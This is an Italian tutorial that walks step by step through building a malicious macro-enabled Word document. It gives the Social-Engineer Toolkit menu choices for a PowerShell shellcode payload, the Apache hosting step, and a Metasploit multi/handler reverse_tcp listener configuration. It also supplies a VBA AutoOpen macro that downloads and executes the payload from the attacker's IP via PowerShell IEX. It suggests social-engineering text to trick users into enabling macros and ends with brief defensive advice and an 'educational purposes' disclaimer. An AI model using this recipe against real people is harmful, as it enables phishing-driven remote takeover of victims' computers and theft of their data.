In questo articolo vedremo come creare una macro in Microsoft Visual Basic, includendola in un documento di Microsoft Office Word facendo sì che l'apertura del file scarichi un payload precedentemente configurato. Tale payload sarà quindi avviato e permetterà di prendere il controllo del PC. Questa tecnica, che rappresenta un semplice (ma efficace) attacco basato sulle macro, diventa molto potente se combinata con alcuni accorgimenti di Social Engineering.
Il contenuto di questo articolo ha scopi puramente didattici e divulgativi. La conoscenza di questo tipo di attacchi informatici è finalizzata ad evitarli e prevenerli.
Configurazione del PAYLOAD
Per realizzare un documento di Word infetto utilizzeremo:
- Microsoft Office Word 2007, versione 12.0.6425.1000 SP2;
- Kali Linux Apache Web Server Metasploit
La prima cosa da fare è creare il payload che ci permetterà di stabilire il collegamento con il PC e ottenerne il controllo. Apriamo quindi una shell in Kali Linux e digitiamo:
setoolkit
Dalla console digitiamo 1 social engineering attacks 9 powershell attack vectors 1 powershell alphanumeric shellcode injector
Ora bisogna iniziare a programmare il payload fornendo alcuni dati di configurazione. Il primo è l’indirizzo IP della macchina attaccante che prende il nome di localhost LHOST
ifconfig
Otterremo un risultato simile al seguente:
Quello che ci interessa è l'interfaccia collegata alla rete, generalmente identificata dalle sigle eth0 wlan0 eth0 inet 192.168.217.128 LHOST
Fissato l’indirizzo IP, ci viene chiesto di selezionare una porta per le comunicazioni port for the reverse LPORT 4444 start the listener now no
Conclusa la configurazione del tool di Social Engineering, dobbiamo ora spostare il payload appena configurato sul nostro server web. A tale scopo, apriamo una nuova shell e digitiamo:
mv /root/.set/reports/powershell/x86_powershell_injection.txt /var/www/html/payload.txt
Digitiamo quindi il comando seguente per avviare il server web:
service apache2 start
Passiamo ad avviare il Listener, cioè l’applicazione che si occuperà di rimanere in attesa della chiamata che il payload effettuerà quando attivato. A tale scopo, apriremo una sessione di meterpreter
msfconsole
Una volta caricato, digitiamo:
use multi/handler
Seguono una serie di impostazioni da digitare:
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.217.128
set LPORT 4444
Si ricordi di modificare LHOST LPORT
Infine, digitiamo exploit
Invio
Creazione del file Word
Ora dobbiamo aggiungere il comando PowerShell al documento Microsoft Word. Questo comando avvia il download del payload dal nostro server web e lo esegue.
Per prima cosa, apriamo Microsoft Word e creiamo un nuovo documento, denominato ad esempio test.docm. Assicuriamoci, inoltre, che la voce Documento di Word con Attivazione Macro sia selezionata dal menu a discesa, come riportato in figura.
Successivamente, nella scheda Visualizza Macro
Verrà richiesto di creare una nuova macro, quindi digitiamo nel campo Nome Macro MACRO_1 Crea Macro in: Tutti i modelli e documenti attivi

Adesso basta incollare il semplice script VBA seguente:
Sub MACRO_1()
Dim exec As String
exec = "powershell.exe ""IEX ((new-object net.webclient).
downloadstring('http://192.168.217.128/payload.txt'))"""
Shell (exec)
End Sub
Sub AutoOpen()
MACRO_1
End Sub
Sub Workbook_Open()
MACRO_1
End Sub
Salviamo la macro ed il documento, ed il nostro file è pronto per l'uso. Un utente distratto che aprirà il documento e attiverà l’esecuzione delle macro avvierà la nostra PowerShell e ci permetterà di ottenere il controllo del PC.
Per aumentare la percentuale di attivazione, possiamo ricorrere al Social Engineering. Potremmo inserire un messaggio rassicurante che inviti ad attivare i contenuti bloccati, come per esempio il seguente:

Come difendersi
Oggi è molto facile creare dei file infetti che possono mettere in serio pericolo i nostri dati e la nostra privacy.
L'apertura di una shell, come quella di quest'articolo, difficilmente viene notata da un utente.
Nel caso di Microsoft Word, l’inserimento di una semplice macro crea un tunnel diretto con il cybercriminale, che può prendere il controllo del nostro PC o violare la nostra privacy.
È quindi buona prassi evitare l’apertura di file di cui non si conoscete la provenienza, evitando anche di attivare le macro di Office a meno di non essere certi del loro codice.